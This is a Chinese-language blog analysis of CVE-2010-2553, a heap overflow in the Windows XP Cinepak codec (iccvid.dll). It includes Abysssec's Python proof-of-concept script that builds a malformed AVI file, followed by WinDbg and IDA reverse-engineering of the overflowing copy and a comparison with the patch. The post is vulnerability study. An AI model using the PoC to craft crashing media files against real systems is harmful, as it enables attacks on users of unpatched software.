• Home
  • About
    • tearorca photo

      tearorca

      Wishful thinking have to be willing to bet on clothing!

    • Learn More
    • Google+
    • Github
  • Posts
    • All Posts
    • All Tags
  • Projects

cve-2010-2553

06 May 2019

Reading time ~7 minutes

  • cve-2010-2553
    • 漏洞描述
    • 分析环境
    • Cinepak(CVID)压缩格式
    • 分析过程
    • 漏洞修复
    • 参考链接

cve-2010-2553

漏洞描述

微软提供又Cinepak视频编解码器(iccvid.dll),其CVDecompress函数在解压缩媒体文件的时候,由于未对缓冲区大小进行检测,导致在复制压缩数据时造成堆溢出,利用漏洞可以执行任意代码。

分析环境

操作系统:Windows XP SP3

播放器:Windows Media Player

Iccvid.dll 1.10.0.12版本

Cinepak(CVID)压缩格式

Cinepak 压缩格式的总体框架如下:

其中Frame Header内部各字段的定义如下

分析过程

我们用Abysssec安全组织公布的poc代码,运行之后会生成poc.avi(需要在python2.7环境下)。

代码:

'''

  __  __  ____         _    _ ____    |  \/  |/ __ \   /\  | |  | |  _ \   | \  / | |  | | /  \ | |  | | |_) |  | |\/| | |  | |/ /\ \| |  | |  _ <   | |  | | |__| / ____ \ |__| | |_) |  |_|  |_|\____/_/    \_\____/|____/ 


http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/

'''

'''

Title : Microsoft Cinepak Codec CVDecompress Heap Overflow

Version : iccvid.dll XP SP3

Analysis : http://www.abysssec.com

Vendor : http://www.microsoft.com

Impact : High

Contact : shahin [at] abysssec.com , info [at] abysssec.com

Twitter : @abysssec

CVE : CVE-2010-2553

MOAUB Number :

'''

import sys

def main():

	aviHeaders =
	'x52x49x46x46x58x01x00x00x41x56x49x20x4Cx49x53x54xC8x00x00x00x68x64x72x6Cx61x76x69x68x38x00x00x00xA0x86x01x00x00x00x00x00x00x00x00x00x10x01x00x00x4Ex00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x60x01x00x00x20x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4Cx49x53x54x7Cx00x00x00x73x74x72x6Cx73x74x72x68x38x00x00x00x76x69x64x73x63x76x69x64x00x00x00x00x00x00x00x00x00x00x00x00xE8x03x00x00x10x27x00x00x00x00x00x00x4Ex00x00x00x20x74x00x00xFFxFFxFFxFFx00x00x00x00x00x00x00x00x60x01x20x01x73x74x72x66x28x00x00x00x28x00x00x00x50x01x00x00x20x01x00x00x01x00x18x00x63x76x69x64x84x8Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'

	padding =
	'x4Ax55x4Ex4Bx00x00x00x00x4Ax55x4Ex4Bx00x00x00x00'

	movi_tag =
	'x4Cx49x53x54x5Cx00x00x00x6Dx6Fx76x69x30x30x64x63x10x00x00x00'

	cinepak_codec_data1 = 'x00x00x00x68x01x60x01x20'

	number_of_coded_strips = 'x00x10'

	cinepak_codec_data2 =
	'x10x00x00x10x00x00x00x00x00x60x01x60x20x00x00x00x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x41x41x41x41x41x41x41x41x41x41x41x11x00x00x10x41x00'

	idx_tag =
	'x69x64x78x31x10x00x00x00x30x30x64x63x10x00x00x00x04x00x00x00x68x00x00x00'

	avifile = open('poc.avi', 'wb+')

	avifile.write(aviHeaders)

	avifile.write(padding)

	avifile.write(movi_tag)

	avifile.write(cinepak_codec_data1)

	avifile.write(number_of_coded_strips)

	avifile.write(cinepak_codec_data2)

	avifile.write(idx_tag)

	avifile.close()

	print '[-] AVI file generated'

if __name__ == '__main__':

	main()

因为知道了是堆溢出,所以用到hpa调式的方法

用windbg附加wmplayer,开启hpa

g运行,程序断在了这里,也就是说这里的复制导致了堆的溢出

我们先来看看当前的edi是否在堆中,可以看到这时候的edi不在堆中。

在它前面一句下一个断点,再看一看

往下走,第一遍经过rep复制的时候,edi在堆中

继续运行,运行到第三遍的时候edi和我们之前直接断的位置是一样的。就在这里发生了溢出。

通过栈回溯可以定位到是哪个函数调用了这个溢出的位置

在ida找到这个位置,F5,这是定位到的调用函数,最下面的sub_73B721AE就是溢出位置。

int __stdcall sub_73B7CAD6(int a1, int a2, int a3, int a4, int a5, int a6, UINT
uBytes, int a8, int a9, int a10, int a11, int a12, int a13, int a14)

{

	int v14; // ebx

	int v15; // edi

	int result; // eax

	int v17; // eax

	int v18; // edx

	unsigned int v19; // eax

	int v20; // edi

	v14 = a12;

	v15 = a9;

	if ( *(_DWORD *)(a1 + 92) || (result = sub_73B7C48C(a1, a2, a3, a4, a5, a6, uBytes, a8, a9, a10, a11, a12, a13, a14)) == 0 )

	{

		v17 = *(_DWORD *)(v15 + 4);

		if ( *(_DWORD *)(a1 + 144) != v17 || *(_DWORD *)(a1 + 148) != *(_DWORD*)(v15 + 8) )

		{

			*(_DWORD *)(a1 + 144) = v17;

			*(_DWORD *)(a1 + 148) = *(_DWORD *)(v15 + 8);

			v18 = *(_DWORD *)(a1 + 148);

			v19 = ((*(_DWORD *)(a1 + 144) * (unsigned int)*(unsigned __int16 *)(v15 + 14) + 31) >> 3) & 0x1FFFFFFC;

			*(_DWORD *)(a1 + 152) = v19;

			if ( v18 < 0 )

			{

				*(_DWORD *)(a1 + 156) = v19 * (-1 - v18);

			}

			else

			{

				*(_DWORD *)(a1 + 156) = 0;

				*(_DWORD *)(a1 + 152) = -v19;

			}

		}

		v20 = a10  + *(_DWORD *)(a1 + 156) + a11 * *(signed __int16 *)(a1 + 110) - *(_DWORD *)(a1 + 152) * (*(signed __int16 *)(a1 + 122) + v14 - 1);

		if ( !sub_73B7C709() || !sub_73B7C709() )

			return -100;

		if ( !(a2 & 0x10000000) )

		{

			if ( *(_BYTE *)(a1 + 104) & 1 )

			{

				if ( !sub_73B721AE(

					*(_DWORD *)(a1 + 92),

					(_BYTE *)a4,

					a11,

					*(_DWORD *)(a1 + 132),

					*(_DWORD *)(a1 + 136),

					*(_DWORD *)(a1 + 132),

					*(_DWORD *)(a1 + 140)) )

				return -100;

				if ( a2 >= 0 )

					sub_73B71333(

					*(_DWORD *)(a1 + 132),

					*(_DWORD *)(a1 + 132),

					*(_DWORD *)(a1 + 136),

					*(_DWORD *)(a1 + 140),

					v20,

					a10,

					a9,

					*(_DWORD *)(a1 + 152),

					*(_WORD *)(a1 + 110) * *(_WORD *)(a1 + 120),

					*(unsigned __int16 *)(a1 + 122));

			}

			else if ( !sub_73B721AE(*(_DWORD *)(a1 + 92), (_BYTE *)a4, a11, a10, a9, v20, *(_DWORD *)(a1 + 152)) )

			{

				return -100;

			}

		}

		result = 0;

	}

	return result;

}

signed int __stdcall sub_73B721AE(unsigned int a1, _BYTE *a2, unsigned int a3, int a4, int a5, int a6, int a7)

{

unsigned int v7; // ebx

void *v8; // esi

int v9; // ST18_4

signed int result; // eax

_BYTE *v11; // esi

int v12; // eax

unsigned __int16 v13; // ax

_BYTE *v14; // esi

unsigned __int16 v15; // cx

unsigned __int16 v16; // ax

unsigned __int16 v17; // cx

int v18; // eax

int v19; // edi

unsigned __int8 *v20; // ecx

unsigned __int16 v21; // dx

unsigned int v22; // edx

signed int v23; // eax

unsigned int v24; // [esp+Ch] [ebp-20h]

int v25; // [esp+10h] [ebp-1Ch]

_BYTE *v26; // [esp+14h] [ebp-18h]

int v27; // [esp+14h] [ebp-18h]

int v28; // [esp+18h] [ebp-14h]

unsigned int v29; // [esp+1Ch] [ebp-10h]

_BYTE *v30; // [esp+20h] [ebp-Ch]

unsigned int v31; // [esp+24h] [ebp-8h]

int v32; // [esp+28h] [ebp-4h]

v7 = a1;

v8 = *(void **)(a1 + 36);

if ( v8 )

{

	v9 = a7;

	*(_DWORD *)(a1 + 36) = 0;

	sub_73B721AE(v7, v8, 9286, 0, 0, 0, v9);

	LocalFree(v8);

}

result = 0;

if ( a3 >= 0x20 )

{

	v11 = a2;

	BYTE1(result) = a2[1];

	LOBYTE(result) = a2[2];

	v12 = (unsigned __int8)a2[3] | (result << 8);

	if ( (signed int)a3 < v12 || (HIBYTE(a3) = *a2, sub_73B72186(v12, 10, &v29) < 0) )

	{

		LABEL_33:

		result = 0;

	}

	else

	{

		HIBYTE(v13) = v11[8];

		v14 = v11 + 10;

		v28 = 0;

		v26 = v14;

		v30 = v14;

		LOBYTE(v13) = *(v14 - 1);

		v25 = v13;

		if ( (signed int)v13 > 0 )

		{

		v32 = 0;

		do

		{

			if ( v29 < 0x16 )

			break;

			HIBYTE(v15) = v14[1];

			LOBYTE(v15) = v14[2];

			v31 = (unsigned __int8)v14[3] | (v15 << 8);

			if ( v29 < v31 )

				break;

			if ( *v14 == 16 || *v14 == 17 )

			{

				if ( sub_73B72186(v31, 12, &a1) < 0 )

					goto LABEL_33;

				HIBYTE(v16) = v14[8];

				HIBYTE(v17) = v14[4];

				LOBYTE(v16) = v14[9];

				LOBYTE(v17) = v14[5];

				v18 = v16 - v17;

				LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;

				a2 = (_BYTE *)v18;

				if ( v32 && !HIBYTE(a3) && *v14 == 17 )

				{

					qmemcpy((void *)(*(_DWORD *)(v7 + 28) + v32),(const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),0x2000u);

					v14 = v26;

				}

				v19 = (int)(v30 + 12);

				v20 = v14 + 12;

				*(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);

				v27 = (int)(v14 + 12);

				*(_DWORD *)(v7 + 60) = a7;

				while ( a1 >= 4 )

				{

					HIBYTE(v21) = v20[1];

					LOBYTE(v21) = v20[2];

					v22 = v20[3] | (v21 << 8);

					v24 = v22;

					if ( a1 < v22 )

						break;

					switch ( *v20 )

					{

					case 0x20u:

					case 0x21u:

					case 0x24u:

					case 0x25u:

						(*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(

						v19,

						*(_DWORD *)(v7 + 56),

						*(_DWORD *)(v7 + 52),

						*(_DWORD *)(v7 + 48));

						break;

					case 0x22u:

					case 0x23u:

					case 0x26u:

					case 0x27u:

						(*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(

						v19,

						*(_DWORD *)(v7 + 56) + 4096,

						*(_DWORD *)(v7 + 52),

						*(_DWORD *)(v7 + 48));

						break;

					case 0x30u:

						(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE
						*))(v7 + 8))(

						v7,

						v19 + 4,

						v22 - 4,

						a4,

						a5,

						a6,

						a2);

						break;

					case 0x31u:

						(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE
						*))(v7 + 16))(

						v7,

						v19 + 4,

						v22 - 4,

						a4,

						a5,

						a6,

						a2);

						break;

					case 0x32u:

						(*(void (__stdcall **)(unsigned int, int, unsigned int, int, int, int, _BYTE
						*))(v7 + 12))(

						v7,

						v19 + 4,

						v22 - 4,

						a4,

						a5,

						a6,

						a2);

						break;

					default:

						break;

				}

				v20 = (unsigned __int8 *)(v24 + v27);

				v23 = 1;

				v19 += v24;

				v27 += v24;

				if ( v24 > 1 )

				v23 = v24;

				a1 -= v23;

				}

				a6 += a7 * (signed __int16)a2;

				++v28;

				v32 += 0x2000;

			}

			v30 += v31;

			v29 -= v31;

			v14 += v31;

			v26 = v14;

		}

		while ( v28 < v25 );

	}

	result = 1;

	}

}

return result;

}

就是这个语句导致了堆溢出,v7是函数传入参数的第一个参数。

qmemcpy((void *)(*(_DWORD *)(v7 + 28) + v32), (const void *)(*(_DWORD*)(v7 + 28) + v32 - 0x2000),0x2000u);

在windbg里面的调用函数位置下一个断点,看一下传入的参数是哪些。

注意这里在每次程序加载的时候只有第三个和第五个和第七个是一样的,其他都是每次加载就不同的。

可以看到复制的时候esi的位置是330e858,这个数是怎么来的呢?

通过ida的反汇编可以看到是传入的第一个参数偏移28之后的位置的地址。

再来看看前面的判断

这里的a3是传入的第三个参数,也就是不变的0x68,判断它是否大于0x20,根据后面格式的理解,这里的意思应该是判断未解压缩的数据长度是不是小于20H大小。

.text:73B721E1 xor eax, eax

.text:73B721E3 cmp [ebp+arg_8], 20h ; 判断未解压缩的数据长度

.text:73B721E7 jb loc_73B723ED

判断未解压缩的数据长度是不是小于FrameHeader中的数据长度

.text:73B721F3 movzx ecx, byte ptr [esi+3]

.text:73B721F7 mov al, [esi+2]

.text:73B721FA shl eax, 8

.text:73B721FD or eax, ecx ;eax为FrameHeade中CVID的数据长度

.text:73B721FF cmp [ebp+arg_8], eax

.text:73B72202 jl loc_73B723F4

比较Frame Header中的Number of codedstrips是不是小于0

.text:73B72221 xor eax, eax

.text:73B72223 mov ah, [esi+8]

.text:73B72226 add esi, 0Ah ;esi指向stripHeader

.text:73B72229 mov [ebp+var_14], edi

.text:73B7222C mov [ebp+var_18], esi

.text:73B7222F mov [ebp+var_C], esi

.text:73B72232 mov al, [esi-1] ;eax为FrameHeade中的编码条数

.text:73B72235 cmp eax, edi

.text:73B72237 mov [ebp+var_1C], eax

.text:73B7223A jle loc_73B723EA

然后就会对每个strip进行遍历,以下都是在对每个strip的处理中

对未解压的数据大小做比较

loc_73B72243:

mov eax, [ebp+var_10]

cmp eax, 16h

jb loc_73B723EA

对编码条数据大小做判断

movzx edx, byte ptr [esi+3]

xor ecx, ecx

mov ch, [esi+1]

mov cl, [esi+2]

shl ecx, 8

or ecx, edx ;ecx为stripHeader的编码条数据大小

cmp eax, ecx ;eax为前面函数的返回值

mov [ebp+var_8], ecx

jb loc_73B723EA

判断编码条id是10还是11

mov al, [esi]

cmp al, 10h

jz short loc_73B72279

cmp al, 11h

jnz loc_73B723D0

对strip header中的底部Y坐标与顶部Y坐标做差,结果乘以一个数后存储起来。

xor eax, eax

mov ah, [esi+8]

xor ecx, ecx

mov ch, [esi+4]

mov al, [esi+9]

mov cl, [esi+5]

sub eax, ecx

imul ax, [ebx+2Eh]

mov [ebp+arg_4], eax

mov eax, [ebp+var_4]

cmp eax, edi

jz short loc_73B722D1

当strip header中的编码条ID为10时,会向堆中拷贝数据。

根据poc结合分析,每次当解析到chunkID为20时,此时,不会向堆里覆盖内容,当解析到chunkid=0×1100时,就会向堆数据中复制数据。

因为poc.avi中有三处chunkid为11的数据块,因此向堆中复制了三次数据,而正是第三次复制时,使堆溢出而崩溃。

漏洞修复

用bindiff分析原文件和补丁,注意要用ida6.8生成的idb文件分析

补丁的修改就是增加了循环次数的限定,最多只有三次循环,那样每次增加0x2000就不会造成堆溢出。

参考链接

《漏洞战争》

https://www.freebuf.com/column/155415.html



Share Tweet +1